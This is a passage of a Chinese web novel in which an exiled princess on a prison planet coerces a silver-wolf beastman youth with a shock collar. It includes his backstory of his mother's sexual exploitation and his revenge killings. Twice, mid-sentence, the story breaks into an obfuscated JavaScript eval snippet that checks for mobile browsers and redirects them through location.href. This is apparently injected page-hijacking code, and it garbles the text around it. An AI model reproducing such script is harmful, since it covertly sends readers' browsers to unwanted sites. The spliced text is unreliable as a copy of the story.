垃圾山脚下那几具被泄露能量波击倒的尸体就是最好的警示碑。 再过几个月,等能量自然耗尽后,这块地就会成为争抢的香饽饽。 该如何躲避泄漏的能源对没有接触过机械能源构造的人来说很困难,对栗胤来说却不是难事。 她的目光在堆积的废旧机械上扫过,避开因为覆盖了能量波而微微扭曲的几处地方,很快锁定了一个家政机器人。虽然是十年前的型号,但其中的芯片和防撞零件却能改造出不错的防具。 她伸出手,却有另一个人先她一步,将旧机器人拿起,扔到了自己身后的背包中。 栗胤看了对方一眼。 比她高半个头,是男性的身材。和她一样戴着兜帽,黑色长袍包裹全身,遮住了耳朵、尾巴等亚人基因谱系的特征。 下半张脸被金属口罩遮挡,看不清身材容貌。 荒狱星上的人大多都是这样的装扮,无法让人记住身体特征,也就少了被人惦记寻仇的可能。 但她因为仰视的角度,看到了对方的眼睛。 一只蓝色,一只灰色。 是一对异瞳。 栗胤一怔,对方因为她的打量眉心微蹙,却也没说什么,沉默地离开了此处。 在荒狱星里与人相遇,能够不起冲突地安静错开是最理智的做法。 你永远不知道对面的人是因为怎样穷凶恶极的罪行被流放到这里,自保才是最重要的。 在对方离开后,栗胤仍在回顾那对眼睛。 异瞳虽然罕见,却也并非吉光片羽,栗胤就曾见过几个异瞳的斐戎族。 但在栗胤的印象中,异瞳的亚人因为颇受权贵欢迎, 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以他屡屡先一步捡走她看上的零件而言,栗胤倾向于是前者。 这么看来,对方的动手能力还挺强。 在力量的威慑面前,栗胤再次忍了。 面对她的退让,对方也没有进一步激进的攻击欲,自顾自走开,寻找新的零件。 只是之后的每一次,每一次!栗胤看上的零件,都被他率先出手拿走。 她明明往对方的反方向走,但绕过一个山头,却还是能碰到他! 栗胤终于忍不住了,伸手按在零件上,放低了声音问他:“你故意的?” 对方睥她一眼,仗着力量的优势一点点将零件从她掌心下抽出,放进包裹后淡淡道:“你换个地方吧。” 他的声音透过金属面罩,带着压抑的变调,并不是他本来的声音。 看来他和她一样,不希望别人发现自己的身份。 他的态度对比他的实力,在整颗荒狱星上算得上温和了。 一般人遇到这种情况,也就认命换个地方找零件,总比颗粒无归好。 但栗胤并非一般人。 她曾是一国王储,皇帝的掌上明珠,从小被宠着长大,想要什么别人不是双手奉上? 她看上的东西,从来没有乖乖让给别人的说法。 她凝神注视对方,兜帽下,她的双瞳发出金色的荧光。 她施展了【束缚】。 然而,背对她的异瞳男人的身形只是不易察觉地一滞,接着跟什么都没发生一样继续往前走。 栗胤怔然。 她的能力失效了? 不,或许,她从没真正掌握过自己这对金色眼睛的能力。 她抿了抿唇,往相反方向走了两步,目光凝在眼前的零件上。 在对方察觉之前,她抢先一步将那个机器藏入背包。 那是产自禺泯星系的发信筒,它的发信装置是脉冲电流,只要稍加改装放大…… 栗胤有了想法。 她找了个隐蔽处,以随手捡的项圈为基底,花了大半天时间组装出了一台脉冲电流装置。 那是她小时候练过手的作品。若不是设备实在简陋,她可以做一个更精巧的出来。 她从藏身处出来,果然看到那个异瞳男性还在收集零件。 因为他的存在,她今天可以说毫无收获。 有他在的一天,她的计划就会多受阻一天。 她做了二十年皇室公主,从没有放弃想要的东西的习惯。 宁可浪费掉这几天,她也要彻底解决异瞳男人这个障碍。 他不可能永远在这里收集零件,一定会回到据点对零件加以改装修理。 她远远地缀在他身后,跟着他从黄昏走入黑夜,尾随他来到了他的庇护所。 要不是她的视力优越、记忆力与观察力也很强,她还真不一定能找到这个地方。 和周围的矿山几乎融为一体,沿途设满了难以察觉的防御性机关。 贸然踏入对方的领地,迎上来的便是死神的镰刀。 在选庇护所与零件的眼力方面,栗胤承认对方是一等一的。 黑夜半球的风带着寒意,栗胤裹紧了身上的衣服努力忍耐。 她喝掉一瓶营养液,俯身蛰伏在远处,一直等到庇护所内最后一丝灯光熄灭。 男人入睡了。 荒狱星的日夜与季节不会变化,很容易让人忘记时间。 幸好她有足够的耐心。 她轻巧地、如同鬼魅般绕开与拆除庇护所边上环环相扣的陷阱,不动声色地靠近对方。 透过屋内零散能量石的荧光,她看到对方熟睡中也带着兜帽的身姿。 为什么睡觉的时候也带着兜帽? 会警惕到这份上吗? 不对! 就在栗胤察觉违和的刹那,床上本该熟睡的人一跃而起,猛然将她压倒在地上,双手扣住她的两只手腕。 栗胤对上一对凛然的异瞳,哪里有半分睡意? 他早知道她跟着他! 他怎么知道的? 现在不是想这个的时候,近距离被压制,她的力量根本无法与对方相提并论。他轻易将她的双手手腕交叠在她的脑袋上方,用单手扣紧,另一只手正迅速伸向腰际的粒子枪。 对于入侵他领地的人,他不会听一句辩解,便要取人性命! 这是荒狱星的生存之道。 4. 第四章 白纶 性命攸关的时刻,栗胤的神经紧绷到极致,再一次直直望向对方双眸。 真是对漂亮的异瞳。 一只如海洋般蔚蓝,一只如雾霭般灰白。 接着,那双异色的眸底深处反射过一道金色的光芒。 瞳膜泛起波澜,露出难以置信的神色。 和李四一样,在栗胤的能力下,他无法动弹了! 这一次,栗胤清晰地感受到了自己精神力的快速流逝。 她束缚不了他太久! 她抽出被对方扣住的双手,反扑在对方身上,将手中的项圈扣在了对方的脖子上。 在再次因精神力枯竭而晕厥之前,她及时地解除了自己的能力,打开了项圈的遥控开关。 “——……唔!!” 一道蓝色的脉冲电流顺着对方的脖颈流遍他的全身,与来自精神深处的束缚不同,电流的酥麻感让他的喉咙中发出一声难以抑制的低喘,跪倒在地无法动弹。 见自己的装置生效,栗胤终于松了口气,在屋里唯一的椅子上坐下,随意打量了一下这个庇护所。 和李四那个脏兮兮的洞窟不同,此处明显整洁得多,设备也更为完善,桌上除了旧零件外,还堆了厚厚的一叠设计草稿。 异瞳男子手中那把热武器,看来确实像是他自己在这里摸索着组装而成的。 除此之外,墙壁角落里还有一副和整个荒狱星都有些格格不入的简笔画。 一只大狼的身后跟着一只小狼。 大狼的笔触稚嫩,线条也有点歪歪扭扭的,小狼却画得生动且细致。 虽然只有黑色的线条,却能清晰地辨认出小狼的两只眼睛是不一样的色彩。 整个庇护所就因为墙上这块简笔画的存在,平添了一股温馨的感觉。 栗胤心中一凛。他不是一个人住? 她不动声色地环视一圈,没看到另外的身影,微微松了口气。 计算好时间,栗胤收回视线,准备好好会一会这个让她吃瘪到现在的男人。 短时间的脉冲电流对人体无害,只会让人因酥麻失力,无法行动。她条件有限,无法确保这一台控制装置一直开启着电流是否会造成严重后果,最好能够速战速决。 对方眼光敏锐,身手强健,最重要的是,他并不像这颗星球上的大多数囚犯一样暴力嗜血,肆意劫掠弱小。 因此,栗胤的目的不是对方的性命。 她想要收编他。 智人从来不是靠自己的力气在世间行走,她需要找到亚人同伴,成为对方的大脑。 “你……” 她的话顿在半途。 随着脉冲电流和男人的挣扎动作,兜帽掉落下来,在那片黑色阴影下的,居然是一头柔顺的银色短发,两只尖尖的耳朵竖立其中。对方没有戴在外面行走时的金属面罩,那张面孔比她想的还要年轻得多,看起来还是个少年。 少年的脸因为痛苦泛着潮红,屈辱而不甘地瞪视着她。 是斐戎族?不对,那对布着银色绒毛的三角形耳朵的特征,分明是獒尼族。 他是银狼基因谱系下的亚人。 獒尼族,栗胤想,怪不得。 拥有比其他种族更敏锐的嗅觉与听觉,估计在第一次见面时他就记住了自己的气味,知道她在尾随他了。 要不是对方算漏了她的能力,没准她真的会因为对方的将计就计而止步于此。 这可真是…… 带劲! 栗胤的眸中出现了阔别许久的兴致光芒,她的手指蠢蠢欲动。 在皇室时,她也玩过温顺的獒尼族,大抵是金毛拉布拉多贵宾之类的基因血统。 但是,银狼! 她甚至是第一次见到野性的、带有如此危险血统的亚人,怎么能不让她手痒? 他的耳朵看起来好柔软。 他的外袍下是不是藏着一条毛绒绒的大尾巴? 异瞳的银狼因颈间项圈的电流刺激,跪在她的面前。他年轻的脸因剧烈的挣扎而布满汗水,鬓发沾湿在脸上,衬得他嘴唇愈红,眉眼愈深。 他为什么挣扎得这么厉害? 栗胤觉得奇怪,她忍不住说:“别动了。你越反抗,电流的反噬会越强烈,再动下去,你的心脏会无法负荷的。” 银狼狠狠地剜向她,胸膛剧烈起伏,尖锐的犬齿翻出唇外。 巨大的痛苦让他说不出话。 他这番几乎是拼着宁可去死的念头也不愿做人的阶下囚的状态,让栗胤觉得很困惑,难道还有什么比死亡更可怕的事? 为了防止意外,她暂时关掉了脉冲电流的开关。 银狼猛然脱力,无法动弹,眼睁睁看着女人向自己靠近,撩起了他的黑色外袍…… 抓住了他的尾巴! 他的尾巴! 从没有人用这种方式摸过他的尾巴! 那双手细若无骨,力道却不容忽视,从尾巴根部捋到毛尖,再逆着皮毛往下,时不时卷起尾巴尖勾弄两下。 他的脑袋一片空白,紧接着,耳朵也被对方揉捏抚摸。耳尖被揉搓,粉嫩的耳廓内部被指腹轻轻刮擦,她的手法撸得他几乎要飞起来,一时间甚至想要仰躺在地上露出肚皮让她抚摸。 “你叫什么?”他听见魅惑的、蜜一般的女声在询问他。 “白、……白纶。” 他喘息着说。 回过神来,他整张脸唰地红了。 撸到银狼蓬松顺滑的尾巴,栗胤异常满足。原本只是抱着可有可无的心态想要收编对方,如今,那愿望变得异常强烈了。 她说:“你跟着我吧。” 白纶脸上红晕未褪,呼吸凌乱,思维慢了一拍才理解她的意思,他脸上露出难以置信的神色。 尾巴上的毛发炸起,双眉紧蹙,那是来自本能的厌恶与抗拒。 她有那么可怕? 栗胤想了想,威胁道:“项圈在你脖子上,你没有别的选择。” 接着,栗胤清晰地看到,白纶的脸色一点点变得惨白。他攥紧拳,指甲嵌入掌心,手指没了血色。 栗胤察觉到哪里不太对,她问:“怎么了?” 她的声音让白纶耳尖颤了颤。 意识到想要活下去,自己没有别的选择,他咬住牙,垂下眼睑,沉默地抬起手,一颗颗解开自己的纽扣。 栗胤目瞪口呆,眼神却直勾勾在慢慢展露的胸膛上无法移开:“你在干什么?” 她更喜欢自己动手脱俘虏的衣服? 白纶的脸色更加苍白,他双手垂落,跪坐在地上,偏过头不看她,一副任君采撷的模样。 他衣衫凌乱,眼角带着屈辱的红,露出的大半肌肤中带着常年与人厮杀的力道,却也带着没有褪去的少年青涩。 栗胤艰难地咽了口口水,问:“你在勾引我?” 少年银狼愣了愣:“不是要……用身体交易,才能活下来吗?” 他的声音干涩沙哑,满是抛弃了自尊的灰败。 栗胤一愣。 她好笑道:“我什么时候说过跟着我是要你用身体交易?” 她虽然双手不甘寂寞,但贵族的教养摆在那里,从来不屑于强买强卖。 只会撸一撸耳朵和尾巴,对隐私部位却很尊重,不会在对方没同意的情况下触碰。 她的嘴角勾了一下,意识到了什么,那笑容很快消失了。 她轻声问:“这是荒狱星的规矩?” 银狼的抵抗过于激烈,不是亲历过,就是亲眼见证过。 她看着对方年轻的脸,说不出来此刻是什么样的心情。 白纶回忆了一下,面前的女人确实没有做进一步过分的事。 比如把手伸进他的衣服,或者让他摆出屈辱的姿势。 这个星球上怎么会有这样的人? 他抽了抽鼻子,对方带着一股他从未闻过的气息。 他没有接触过,不知道那是什么味道,但那个味道深深浸入对方的身体。 很好闻。 他能从这个气味中看到一个温暖的、奢靡的、衣食无忧的自由世界。 他无法想象的世界。 只有刚来到这个星球上的人身上才会有这样的气息。呆得久了,就会逐渐被这颗星球的沉闷与腐朽侵蚀,从内至外透出亡命之徒的腥臭。 在东面那座人烟稀少的垃圾山里拾荒的一个照面,他就记住了她的味道。 他忍不住跟着她多闻了一会儿,因此捡走不少她看上的零件。 按照荒狱星不成文的规矩,在拾荒区撞上别的人,应该分头朝不同方向离开才对。 他是第一次没有按照规矩来做,没想到这一下撞到的就是南墙。 记起几天前短暂降落在这个星球的流放艇,白纶恍然:“你是刚被投放到荒狱星的犯人。” 所以她才会……仍存有不属于这颗行星的天真。 第一次被人用“犯人”称呼,栗胤表情微妙,反问道:“你呢,你是什么时候到这里的?” 空气微妙地停顿了一下。 “我没有去过别的星球。”白纶说。 “我出生在这里。” 栗胤似有所觉,望向墙上的简笔画:“那是你的母亲?” 白纶的视线与她一同望过去,轻轻地“嗯”了一声。 “她……”栗胤在出声那刻就开始后悔。屋里只有白纶一个人生活的痕迹,她明知道答案的。 果然,她听到银狼淡淡地开口:“我八岁的时候,她死了。” “……对不起。”栗胤说。 白纶撩眸看她,眼中带着点不解,不明白她为什么要和他道歉。 但态度的软化就意味着破绽,她的愧疚,他未必不能利用。 她想听他的故事,他就告诉她,这没什么大不了的。 再找准机会摆脱她。 于是白纶抿了抿唇,不自觉地对栗胤说出了一直积压在心底、从未与人倾诉过的话语。 “是我的出生,才让她过了那么屈辱的八年。” 荒狱星作为一颗与其他星系隔绝的孤星,既然任流放者在这里自生自灭,会有后代出生在这里也并不稀奇。 然而这个星球并无道德秩序可言,会在这个星球上生下孩子的,大抵是无法抵抗的弱小人类。 白纶的母亲,就是其中之一。 弱小者,只能遵循弱小者的生存规律。 无力主动夺取,那就出卖自己的身体和灵魂。 一只灰色毛发的母狼发现自己有了孩子,却根本不知道孩子的生父是谁。 在医疗用品极度匮乏的荒狱星,她选择生下他,成为一个母亲。 孩子有一只和她一样蔚蓝的眼睛,另一只却是深邃陌生的灰白。 但她爱他的每一只眼睛。 因为多了一个孩子要抚养,她过得比其他弱小者更辛苦。 白纶目睹过很多次母亲为了生存用身体和其他人交易的场景。回忆小时候,记忆中最清晰的,就是仅仅隔了一帘布的庇护所,母亲被强壮的男人们压在身下,发出哭泣般的喘息。交叠的影子投射在帘子上耸动,屋里是潮湿的腥气。 让幼小的他近乎窒息。 男人们得到发泄,一脸餍足地从布帘隔着的里间出来,看到一只小小的银狼正一眨不眨地盯着他们。 他们不知道,他正在死死记住他们每一张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242891|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 脾气好的会逗一逗他,也有不耐烦将他推到一边的,更多的对屋里的他视而不见。 没有一个人对他解释什么。 最后走出里间的是汗涔涔的母狼。 她走路的姿势怪异,身上混杂着数不清的陌生气息。 看到银狼,她犹豫了一下,回到里间用净水系统简单清理了一下自己,才将小狼小心翼翼地抱在怀里。 小银狼抽抽鼻子。 光靠清水冲洗并不能逃避獒尼族敏锐的嗅觉,他动了动唇想说什么,母亲捂住了他的嘴。 “白纶,我们要活下去。” 她的声音沙哑,却带着让小银狼不能理解的坚定。 为什么? 明明这么痛苦,为什么还要生活在这样的地方? 母亲温柔地安抚着小狼的脑袋。 一夜没睡的银狼在母亲的怀中感到安心,眼皮往下合拢。 他想,这个问题就留到下一次再问母亲吧。 灰狼看着怀里熟睡的孩子,下了个决定。 有几周的时间,小银狼都很难看到母亲的身影。 隔着布帘从男人身下起来,她将换来的营养液放到白纶怀里,又拖着酸软发抖的腿离开庇护所,身影没入尘埃与废弃零件堆砌的山丘。 几周后,她带着小狼来到一处废弃的矿山前。 小银狼抖抖耳尖,困惑地看着他的母亲。 他的眼眶陡然睁大,凭借他优越的动态视力,竟然没有捕捉到母亲的身影是在哪里消失的。 “这里。” 温柔的声音从矿坑角落传来。 他疾步跑过去,穿过狭小隐秘的洞穴口,看到一处豁然开朗的空间。 简陋却柔软的床铺,昏黄却温暖的萤石灯,一整块平整的、能够用来组装机械的台面。 最重要的是,房间里的空气干燥馨香,再也没有让他难以呼吸的陌生腥气。 他不知道母狼耗费了多少力气,才打造出了这样一个隐秘又整洁的地方。 小银狼似有所觉,却不敢相信。他犹豫地问道:“妈妈,这里是……?” 母亲摸摸他的脑袋。 “这里是我们的家。” 小银狼不解:“什么叫做‘家’?” 荒狱星里只有庇护所,他从没听过“家”这个词。 “‘家’是……”母狼耐心组织着小狼能够理解的措辞,“只属于你和你爱的人的、能够让你开开心心住在里面的庇护所。 “你现在开心吗,白纶?” “开心!” 小狼摇摆着尾巴,拿着炭笔走到墙边,“妈妈,我能在家里留下自己的记号吗?” 他知道,在荒狱星上不宜留下太多痕迹,容易被盯上和针对。 但在“家”里,是不是就没问题了? 母亲笑了:“你要留下什么记号?” 小狼努力握着笔,趴在墙上花了好久才完成他的作品。 “当然是我最爱的人。”他有点害羞地说。 灰狼看着那只线条歪歪扭扭的简笔大狼,想说的话忽然哽在喉头。 “妈妈?” “我没事。”她蹲下身将白纶紧紧抱在怀里,接过他的炭笔,“那么我也在家里留一个记号吧。” 她蹲着身子在墙角作画,怀里的小狼只能看到她专注的侧脸。 为什么那个时候,母亲的眼眶是红的呢? 有了“家”以后,灰狼就再也没有带任何陌生人出现在白纶面前。 每天睡醒后,她会摸着白纶的脑袋对他说:“我去上班了。” 几个系统时后,再拖着疲惫的身体抱着新的补给回来。 为了更好地经营这个家,她变得比以往更忙碌,以至于白纶都没时间将堆积的问题向她问出口。 他不想成为母亲的拖累,在机械组装上展现了惊人的天赋,经由他改装翻新的仪器在集市换来的物资渐渐超过了母亲。 他想让母亲有更多的时间休息。 他攒了满满一箱营养液给母亲惊喜,母亲也确实如他所愿露出了欣慰的笑容。 但他没有想到,就在知道他自己能够把自己照顾好之后的第二天,母亲倒下了。 她的身体早已在荒狱星蹉跎的十几年间灰败不堪,如今知道自己无需再支撑,那一口气就散了。 荒狱星上只能买到消毒止血的外伤喷剂,没有治疗体内疾病的手段。 他眼睁睁看着她在短短几天内迅速消瘦。 倒没怎么受苦,很快就走了。 留他一个人。 依灰狼的想法,大概以为她的孩子会继续守在操作台前,隐匿、安全地度过这一生。 白纶将她埋葬后,转身拿起了匕首。 七年后,在他十五岁的时候,他把那些强迫过母亲的人全杀完了。 但母亲已经不在了。 最终,他的问题再也没能得到答案。 怪他长得太慢,他一直是母亲的累赘。 空气中出现了让人坐立难安的静谧。 本意是为了迷惑栗胤寻找逃跑的机会,讲着讲着白纶自己却陷入了过去的消极情绪。 栗胤感受到少年的灰败,忍不住寻找安慰他的话。 她的视线长时间地停留在墙壁的简笔画上。 大狼的笔触稚嫩,线条带着不熟练的歪斜;小狼的线条流畅,每一处细节都被精心勾勒。 只有爱着笔下的人,才能画出这样的画。 白纶的出生并不是他母亲的屈辱和累赘。 “你说得不对。”她说。 “说不定正是因为你的存在,才让你的母亲多坚持了八年。” 5. 第五章 小弟 心脏好像突然被撞了一下。 白纶猛地抬头,望向出声的女人。 她头发凌乱,衣服不知道是哪里找的,充满污渍且完全不合身,那张脸却娇嫩如玉一般,在昏暗的室内像是会发光,让他无法移开视线。 母亲的死一直是他抹不去的悔恨,是压在他心头的那块巨石,而如今,那块石头却因为对方的话,骤然轻了许多。 下一刻,那个女人站起身,冲他勾起嘴角:“不管你答不答应,反正你必须跟着我走没商量。” 她把手抬高,让他看清她手中脉冲电流的开关。 白纶:“……” 刚才的触动一定是错觉。 他伸手想把脖子上的项圈扯下来,强烈的电流再次刺激得他直不起身。 “你怎么不信邪呢。”栗胤说,“我给它装了反破坏装置,你硬要触发警报,小心再也站不起来。” 白纶又陷入了半天无法动弹的状态。他暗自咬牙,沉默地等待身体力道的恢复,尾巴却再次感受到了柔软掌心的触感。 他睁大眼,只听栗胤一本正经地对他说道:“不听话是要受惩罚的。” 怎么会有这、这种的……惩罚……?! 尾巴好像不是自己的了、耳朵也不是自己的了,热度自尾巴尖传遍全身,脉冲电流明明已经消失,却好像有另一道电流在身体内游走,让他浑身发软,发出无力的嘤咛。 等栗胤尽兴地离开好久后,年轻的银狼才晃动了一下耳朵,接着,慢慢在地上蜷起来,藏起了自己通红的脸。 · 来到荒狱星后的第三天,栗胤有了第一个小弟。 小弟落脚矿洞的入口隐秘狭小,里头却四通八达,极为宽阔,还有很多没被开发的空间。 她稍作改造就隔出一个房间,作为临时的庇护所搬了进去,以便更好地和小弟串门沟通。 这个小弟并不是自愿收编,每天都在试图偷袭她,但他的偷袭还没有成功过。 他的热武器被她收走,她又花时间做了一套警报器,只要他向她出手,他脖子上的脉冲电流项圈就会启动,让他浑身无力地瘫在地上。 每次失败,他就会被她狠狠“调教”一番,撸得他脚趾都是软的。 栗胤的拾荒进程变得一帆风顺了起来。 集市东面这块有能量泄漏的废弃零件山,她观察过,目前整个星球只有她和白纶有能力在其间毫发无伤地进出。 他们的眼睛都很利,一眼就能找到垃圾场里最好的零件。 让白纶惊讶的是,捡到的零件,栗胤并没有仗着自己拿捏着他的性命将它们全部归为己有,而是平等地分成两份,一份留给了他。 为什么? 他明明是她的……俘虏,不是吗? 一天的收获后,栗胤会带着零件去白纶的庇护所组装。 在她见到过的庇护所里,还是白纶这儿有设备最完善的操作台。 白纶在这颗星球活到现在,依靠的大多是这个操作台组装出来的机器。 从垃圾山里挑出合适的废弃零件,在庇护所组装成能够使用的道具,再拿去集市换取能量石和营养液。 要说在母亲去世后还有什么支持着白纶在这个星球继续活下去,或许也就只有组装出新的道具的惊喜感了。 在他一点点的收集中,他的操作台也变得越来越精细。 同样给栗胤带来了很大的便利。 栗胤组装零件的时候并不会避讳白纶,白纶也不会在这个时候偷袭她。 他几乎是目不转睛地,看着一个个废旧的零件在栗胤的手中焕发出全新的光彩。 一开始她做的是比较简单的机器,诸如增幅仪、打磨器等,只需要塞入五分之一大小的能量石就可以使用很久。 这些白纶也会做,但栗胤比他组装得更快、做得也更好。 他从没有看到过这种零件组装的思路,一时看得痴了。 用小型机器在集市里换来更多复杂的零部件和设备后,栗胤手中的机器让白纶渐渐看不懂了。 一段时间后,他终于忍不住开口问道:“你这次组装的是矿脉探测器?” 桌上的零件四散摊开,散乱中透着秩序,当中一块显示屏延伸出四五条电线,栗胤正在将精细的主线路板与显示屏进行焊接。 她闻言推起防护眼镜,放下手中的电焊,对他笑道:“既然看出来了,为什么用不确定的语气?” “……和我以前做过的探测器不一样。”白纶说,“这两根线为什么用这种连接方式?” “这样连接的话,这里,”栗胤指向零件的对角,“会用相反的方式旋转,可以让机器的运动更流畅。” 她拿起手边做好的另一个方形机器:“它也是用这种接线方式的,你知道是什么吗?” 白纶看着手里的机器。 和探测器比起来,少了前端突出的探测射线发射窗口,重量也更轻一点。按下电源键,屏幕里显示的是网格图与闪烁的几个绿色圆点。 他露出惊讶的神色:“是追踪器?” “没错。”栗胤打了个响指。 白纶将手里的追踪器旋转着反复打量:“我以为这个做起来会很复杂。” 集市里,像这样的追踪器能卖到一个很高的价格。 “复杂的是这块芯片。”栗胤指着操作台上指甲盖大小的黑色硬块,“只要找到这样的纳米数据处理单元,就可以做出不下十种技术衍生的机器。” 而这样的纳米数据单元在天鹰星系已经应用到了几乎所有电子器械上。所以只要找到来自天鹰星系的废旧器械,总能拆解出几个数据单元来。 栗胤说:“零件还够,你要做做看吗?” 银狼霍然抬头,灼灼地看着她手中的道具。 没有更多犹豫,他接过工具,坐到了栗胤刚刚坐着的位置上。 女孩拉了把旧铁皮箱做成的凳子坐到他身边,为了指导他和他靠得很近。 她“惩罚”他的时候他们明明身体接触得更厉害,但此刻栗胤不带任何欲念的靠近,她身上隐隐的清香似乎更加清晰,让他的呼吸微滞,竟有种不自在的感觉。 但他很快就被栗胤教导的思路拉去了全部的注意力。 荒狱星没有日夜变换,他也不知道时间过去多久,身体的饥饿和疲倦在专注中被他全然忘在脑后。顺着她的思路和指导,他竟真的做出了他从未成功制作过的器械。 在零件组装的思路上,她对他毫无保留。 她的坦诚让白纶不太习惯。 他抿了抿唇,还是开口道:“你不该教我的。” “为什么?”栗胤问。 “原本它是属于你一个人的技术……至少在荒狱星是这样。”白纶说,“我也能做出同样的机器的话,会扰乱你的定价。” 栗胤扑哧笑了。 “你做了一样的出来,我们可以卖两份的钱啊。” 白纶的心跳忽然乱了一拍。 在母亲去世后,再一次,有人对他说了“我们”。 “不是什么了不起的技术,我只是随手还原了我小时候做过的一些小玩具,都是建立在这些专利发明者的基础上改造的。”栗胤继续说着。 “不一样的机器,我还能做出几百个,几千个。” 她的语气平静,就像在说一件微不足道的事。因她在先进的天鹰星系见过、在优秀的贵族学校学过、也实际上手组装过更多。 荒狱星上的机器对她而言,实在是太落后、太简单了。 白纶一眨不眨地看着她。 她笑着说:“有本事的话,就全学走吧。” 乱了的心跳变得越来越快,连带着呼吸都急促起来。 时光在白纶眼中回溯,同一张桌旁,坐着年幼的银狼与瘦削的灰狼母亲。 小银狼将拆开来的零件清理干净,完整地组装了回去,小心翼翼地连上电源。 灯亮了! 机器的灯光映得男孩的双眼格外明亮,他一脸激动地转身望向自己的母亲。 灰狼咳了咳,带着笑意摸摸他的脑袋表示夸奖。 因带着病容,她的笑容里总是透着一股若有若无的忧愁。 “白纶,如果不是出生在这个星球,哪怕有一本再基础不过的机械理论书籍可以给你……”母亲总是说,“你肯定会成为一个非常出色的机械师。” 小银狼说:“妈妈,我自己也可以。” “不一样的,白纶。”母亲说,“真正出色的机器,从来不是这些被倾倒的废旧垃圾。只要有人可以教你,哪怕只是伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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獒尼族的血统带给他敏锐的五感,即便不回头,他也能感受到背后气味的变化。 他抿住唇,沉默地等待那一刻到来。 没有失望,因他从未对别人有过期待。 女孩向他伸出了手。 那手并没有推在他的背上,而是翻过他的手,在他手心里塞了什么东西。 他用余光瞥了一眼,看到了自己熟悉的超能粒子枪。 是她从他那里收走的那把。 他睁大眼,没来得及回头,女孩附在他耳边,语速很快地对他说道:“你不能动,我去吸引他们的注意力,你负责掩护。” 她冲了出去! 她在……保护他?! 来不及思考,白纶强压下心中的惊愕,撑着掩体站起身,扣下扳机,为栗胤创造空隙。 粒子束在地面激起厚厚的尘埃,遮蔽了方圆内的视线。 粒子武器的特点是杀伤力巨大,以能量石就可以为其充能,无须频繁换弹。缺点是两发子弹之间需要有能量聚集的冷却时间,无法做到连续射击。 因此这第一发子弹的目的,白纶就是冲着扰乱视线去的。 对嗅觉与听觉敏锐的他来说,是他更占优势。 栗胤引走了火力,他在暗处用枪将对方放倒。 并没有事先沟通过,执行起来却异常默契。 白纶举枪的手很稳,手心却在发烫。 枪托上有对方的温度。 栗胤其实跑得有些狼狈。 她的体测成绩和文化成绩一样优秀,但学校里的东西,放到现实中总是充满变数。 她是智人,而她面对的,却是融合了各项强化基因的亚人们。在体力上,她不是对手。 但每当她要被对方抓到时,总有一道粒子束光线,准确地袭向对方,绊住对方的脚步,给她喘息的余地。 在出神便会陷入险境的危急关头,栗胤的嘴角却慢慢地扬起。 她没有看错人! 白纶,很可靠! 6. 第六章 武器 在对面转向想要收拾在暗处放冷枪的人时,栗胤却调转逃势,稳稳地将匕首插入那人的后心。 冷兵器扎入血肉的触感依旧让她犯恶心,却不会再让她吐出来了。 解决掉一个人后,他们压力减小很多。 对面的攻势变得混乱,带着孤注一掷的疯狂。 更危险,也有更多的破绽。 精神绷成一条线,喉咙因过度喘息而疼痛,身体却仿佛变得轻盈,视野中时间的流速变慢。 这种在刀尖跳舞的感觉,栗胤惊奇地发现自己并不讨厌。 她又放倒一个,白纶的粒子束枪也击倒了两个。 她转身,却看到那最后一个竟不知何时绕到了白纶身后。他是明朔族的亚人,腮帮尖瘦,尾巴狭长,属于善于隐匿身形的灰鼠基因谱系。 灰鼠没有枪,却红着眼,手握一把短刀,以极快的速度向白纶刺去! 他是看准了白纶受伤行动不便,拼了命要从他身上开出一条生路! 这是白纶生命中第二次感到如此无力。 第一次他看着母亲在床上病逝。 这一次,他清晰地看着对方的短刀向自己袭来,甚至能看到金属刀刃上反射出的自己毫无表情的脸,敏锐的五感却告诉他,来不及! 粒子束的冷却充能没有结束,发射不了子弹,一条腿完全无法动弹。 只凭他自己,无论如何也无法从对方刀下逃生。 ——只凭他自己。 面前倏然多出一个娇小的身影。 她的动作太快,兜帽往后滑落,剪得乱糟糟的黑发在风中飞散,白纶再次闻到了她身上的那股幽香。 空气中划过一道金色光芒的残影。 她挡在了他的身前,直面那柄锐利的短刀! “你——” 惊呼卡在喉头,短刀在距离栗胤身前不到一厘的地方停顿。 她的瞳孔璨金,生生制住了对方的攻势。 可但凡她再往前一步,短刀就会扎入她的胸膛! 险境中逃生,放倒对方后,栗胤回过头,目光明亮地看着白纶。 “白纶,我好像开始掌握【束缚】的能力了!” 她的笑容带着领悟到能力的纯粹的喜悦,丝毫没有提方才冒着危险救他的事。 白纶的喉结动了动,感到喉中像是堵了一团棉花,酸胀得他发不出声音。 除了死去的母亲,从未有人这样护过他。 带着受伤的白纶回据点花了点力气。 少年没有完全长开,却已经身高腿长,肌肉匀称。撸起来是很享受,但当大部分的重量都压到栗胤身上,她差点一个踉跄直接摔倒在地上。 银狼抿唇僵在原地,半天后低声开口:“我自己回去也可以。” 栗胤没有出言嘲笑他的不自量力,也没有放下他在她肩膀上的手臂,而是笑着说:“我想帮你,可以吗,白纶?” 心跳彻底乱了。 她和他靠得那么近,她好闻的气息一个劲往鼻子里钻。 这让他怎么说得出“不”? 就这么慢吞吞地、一步深一步浅地,艰难地回到了据点。 将白纶安置在椅子上,栗胤找到屋里的医疗箱,笑吟吟地对他说“我帮你包扎哦”的时候,他也稀里糊涂地答应了。 等伤腿被抬起,消毒药水的刺激让白纶一激灵,他忽然意识到,自己伤的是腿又不是手,明明是可以自己来的…… 